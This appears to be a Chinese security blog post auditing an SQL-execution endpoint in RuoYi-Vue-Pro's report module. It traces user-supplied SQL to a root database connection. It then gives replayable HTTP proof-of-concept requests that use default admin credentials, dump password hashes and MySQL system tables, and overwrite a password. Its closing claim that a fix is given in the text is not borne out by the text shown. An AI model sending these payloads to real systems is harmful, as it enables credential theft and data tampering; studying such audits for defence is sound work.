一次 SQL 注入代码审计实战:从发现到验证的完整过程
原创
Taoyi
Taoyi
知然安全
2026年6月8日 17:29
浙江
在小说阅读器读本章
去阅读
本文记录了一次对若依框架(RuoYi-Vue-Pro最新版)进行代码审计时,发现并验证 SQL 注入漏洞的完整过程。适合有一定 Java 基础的开发者和安全爱好者阅读。
一、前言
SQL 注入作为 OWASP Top 10 的常客,至今仍在各类项目中屡见不鲜。许多人以为\"用了框架就不会有 SQL 注入\",但实际情况往往并非如此。
今天这篇文章,带大家走一遍完整的代码审计流程——从审计工具告警出发,到逆向追踪数据流,再到 POC 验证,最后给出修复思路。
二、审计起点:一个\"中危\"告警
日常使用自动化审计工具扫描代码库时,工具在 yudao-module-report 模块打出了一条告警:
漏洞ID: 35285
漏洞编号:CWE-89
风险等级:中危
漏洞位置:GoViewDataServiceImpl.java:35
漏洞描述:检测到SQL语句中使用了格式化字符串,可能导致SQL注入漏洞
对于这类告警,很多开发者的第一反应是 \"这功能就是用来执行 SQL 的,算什么注入?\" —— 别急,我们往下看。
源码链接:https://github.com/YunaiV/ruoyi-vue-pro/archive/refs/tags/v2026.05(jdk8/11).zip
三、代码走读:数据流追踪
先找到告警指向的代码。
3.1 Sink 点:Service 层
// GoViewDataServiceImpl.java
@Service
@Validated
publicclass GoViewDataServiceImpl implements GoViewDataService {
@Resource
private JdbcTemplate jdbcTemplate;
@Override
public GoViewDataRespVO getDataBySQL(String sql){
// 【告警点】直接执行用户传入的原始 SQL 字符串
SqlRowSet sqlRowSet = jdbcTemplate.queryForRowSet(sql);
// 解析结果集,构建返回数据...
SqlRowSetMetaData metaData = sqlRowSet.getMetaData();
String[] columnNames = metaData.getColumnNames();
respVO.setDimensions(Arrays.asList(columnNames));
// ...
return respVO;
}
}
注意第 35 行:jdbcTemplate.queryForRowSet(sql) —— 直接把参数 sql 送进了数据库,没有任何过滤、没有任何参数化。
这是一个典型的 Sink 点:危险函数 + 外部可控输入 = 安全风险。
3.2 向上追踪:Controller 层
接着往上追,看 sql 参数从哪来:
// GoViewDataController.java
@RestController
@RequestMapping(\"/report/go-view/data\")
publicclass GoViewDataController {
@Resource
private GoViewDataService goViewDataService;
@RequestMapping(\"/get-by-sql\")
@PreAuthorize(\"@ss.hasPermission('report:go-view-data:get-by-sql')\")
public CommonResult
@Valid@RequestBody GoViewDataGetBySqlReqVO reqVO){
returnsuccess(goViewDataService.getDataBySQL(reqVO.getSql()));
}
}
关键信息:
·接口路径:POST /admin-api/report/go-view/data/get-by-sql
·鉴权:@PreAuthorize 限制,需要 report:go-view-data:get-by-sql 权限
·输入:reqVO.getSql() —— 完全由请求体控制
3.3 输入校验:形同虚设
再看看请求 VO 的校验:
// GoViewDataGetBySqlReqVO.java
@Data
publicclass GoViewDataGetBySqlReqVO {
@Schema(description =\"SQL 语句\", example =\"SELECT \* FROM user\")
@NotEmpty(message =\"SQL 语句不能为空\")
privateString sql;
}
只有一个 @NotEmpty —— 只检查了\"不为空\",但没有检查\"是什么\"。
你可以传 SELECT,也可以传 UPDATE、DELETE、DROP……
四、数据流全景
┌──────────────────────┐
│ 用户请求 │
│ {\"sql\": \"任意SQL\"} │
└────────┬─────────────┘
│
▼
┌──────────────────────┐
│ Controller │
│ @PreAuthorize 鉴权 │ ← ✅ 有权限控制
│ @NotEmpty 校验 │ ← ❌ 仅校验非空
│ reqVO.getSql() │ ← 直接取出原始 SQL
└────────┬─────────────┘
│
▼
┌──────────────────────┐
│ Service │
│ jdbcTemplate │ ← ❌ 零过滤,零参数化
│ .queryForRowSet(sql) │
└────────┬─────────────┘
│
▼
┌──────────────────────┐
│ MySQL (root@localhost)│ ← ❌ root 最高权限
│ 执行任意 SQL │
└──────────────────────┘
结论:从用户输入到数据库执行,全程无安全控制。
五、POC 验证
光看代码不够,还得实际验证。以下所有数据包可直接导入 Yakit / Burp Suite 复现。
注意:项目默认未启用 report 模块(pom.xml 中被注释),且默认开启 API 加密(会拦截明文请求)。验证前需做两处改动:
1.取消 pom.xml 中 yudao-module-report 的注释并重新编译
2.在 application-local.yaml 中添加 yudao.api-encrypt.enable: false
Step 0:登录获取 Token
POST /admin-api/system/auth/login HTTP/1.1
Host: localhost:48080
Content-Type: application/json
tenant-id: 1
{\"username\":\"admin\",\"password\":\"admin123\"}
POC-1:正常查询,验证接口可用
POST /admin-api/report/go-view/data/get-by-sql HTTP/1.1
Host: localhost:48080
Content-Type: application/json
Authorization: Bearer
tenant-id: 1
{\"sql\": \"SELECT id, username, nickname FROM system\_users LIMIT 3\"}
正常返回用户列表——接口功能本身是正常的。
POC-2:泄露密码哈希 🔴
POST /admin-api/report/go-view/data/get-by-sql HTTP/1.1
Host: localhost:48080
Content-Type: application/json
Authorization: Bearer
tenant-id: 1
{\"sql\": \"SELECT username, password FROM system\_users LIMIT 2\"}
返回了 admin 和 yudao 两个用户的 bcrypt 密码哈希。
POC-3:跨库读取 MySQL 系统表 🔴
POST /admin-api/report/go-view/data/get-by-sql HTTP/1.1
Host: localhost:48080
Content-Type: application/json
Authorization: Bearer
tenant-id: 1
{\"sql\": \"SELECT user, host FROM mysql.user LIMIT 3\"}
成功读取了 mysql.user 系统表。
POC-4:枚举全库表结构 🔴
POST /admin-api/report/go-view/data/get-by-sql HTTP/1.1
Host: localhost:48080
Content-Type: application/json
Authorization: Bearer
tenant-id: 1
{\"sql\": \"SELECT TABLE\_NAME FROM information\_schema.TABLES WHERE TABLE\_SCHEMA='ruoyi-vue-pro' LIMIT 10\"}
返回数据库所有表名,为精准攻击提供完整情报。
POC-5:数据库系统信息泄露 🔴
POST /admin-api/report/go-view/data/get-by-sql HTTP/1.1
Host: localhost:48080
Content-Type: application/json
Authorization: Bearer
tenant-id: 1
{\"sql\": \"SELECT @@version AS ver, @@datadir AS datadir, USER() AS db\_user FROM DUAL\"}
响应揭示了三个关键信息:
·数据库版本:8.0.12
·数据文件路径:D:\phpstudy\_pro\Extensions\MySQL8.0.12\data\
·当前连接用户:root@localhost(最高权限!)
POC-6/7:DML 语句(UPDATE/DELETE)🔴
{\"sql\": \"UPDATE system\_users SET password = 'hacked' WHERE id = 1\"}
代码层面对 SQL 类型没有任何限制,DML 语句原样传递到数据库。jdbcTemplate.queryForRowSet() 虽然主要用于查询,但底层 Statement.execute() 同样可以执行 UPDATE/DELETE。
六、为什么这个漏洞能存在?
回顾整个数据流,有四层防线全部失守:
| 防线 | 预期 | 实际 | 评价 |
|---|---|---|---|
| 输入校验 | 限制 SQL 类型为 SELECT | 仅 @NotEmpty,无类型校验 | 🔴 失守 |
| Service 层 | 使用参数化查询 | jdbcTemplate.queryForRowSet(sql) 直接拼接 | 🔴 失守 |
| 数据库账户 | 只读账户,最小权限 | root@localhost,全部权限 | 🔴 失守 |
| 连接池配置 | 禁用多语句 | multi-statement-allow: true | 🔴 放大危害 |
这就是典型的 纵深防御缺失——一道防线破了,后面没有更多的墙。
七、关键代码文件索引
| 文件 | 角色 |
|---|---|
| yudao-module-report/.../GoViewDataController.java | Controller 入口,接收用户 SQL |
| yudao-module-report/.../GoViewDataGetBySqlReqVO.java | 请求 VO,仅校验非空 |
| yudao-module-report/.../GoViewDataServiceImpl.java | 漏洞核心:直接执行原始 SQL |
| yudao-server/.../application-local.yaml | 数据源配置(root 账户、multi-statement-allow) |
声明:本文仅供安全研究与学习交流使用,请勿利用文中技术进行未授权测试。代码修复方案已在文中给出,欢迎参考与讨论。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论